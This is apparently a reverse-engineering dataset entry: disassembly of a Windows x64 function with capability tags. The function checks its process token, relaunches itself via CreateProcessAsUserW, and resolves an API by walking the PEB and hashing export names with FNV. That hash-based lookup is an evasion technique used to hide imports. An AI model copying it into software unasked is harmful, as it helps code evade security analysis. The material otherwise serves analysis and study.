Function at 0x14002b3a0
Capabilities:
Accept command line arguments
Access peb ldr_data
Create process on windows
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140283040]
xor rax, rsp
mov qword [rbp + 0x10], rax
xor edi, edi
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14002b4f9
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x78]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x70]
mov edx, 0x1a
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14002b418
mov ebx, 1
jmp 0x14002b41e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x14002b4ff
cmp dword [rbp - 0x70], edi
jne 0x14002b4ff
lea rcx, [rsp + 0x68]
call fcn.14002b020
test eax, eax
jne 0x14002b4ff
xorps xmm0, xmm0
lea rcx, [rbp - 0x60]
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp], rax
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x80], rax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x50], rcx
mov r8, rax
lea rcx, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x14002b4e6
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002b4ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.14007a4c0
call fcn.140001b00
cmp byte [0x14048fb9c], dil
jne 0x14002b581
mov qword [rsp + 0x130], rsi
movabs rbx, 0x7fffffffc46535ff
mov esi, 0xff
movabs rdi, 0x7fffffffffffffff
lea rcx, [rsp + 0x60]
call fcn.140001470
mov rax, qword [rsp + 0x60]
mov qword [rbp - 0x78], rax
cmp rax, rbx
je 0x14002b563
mov ecx, 1
cmovl ecx, esi
test cl, cl
jns 0x14002b563
add rax, 0x3b9aca00
mov qword [rbp - 0x78], rax
jmp 0x14002b567
mov qword [rbp - 0x78], rdi
lea rcx, [rbp - 0x78]
call fcn.140004360
cmp byte [0x14048fb9c], 0
je 0x14002b533
mov rsi, qword [rsp + 0x130]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002b617
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002b617
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5f08bbc5
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14002b612
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14002b5f0
cmp r8d, 0x7ff3c4e0
je 0x14002b61c
test r9d, r9d
jne 0x14002b5d0
mov rax, qword [rax]
jmp 0x14002b5a0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14007b820
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret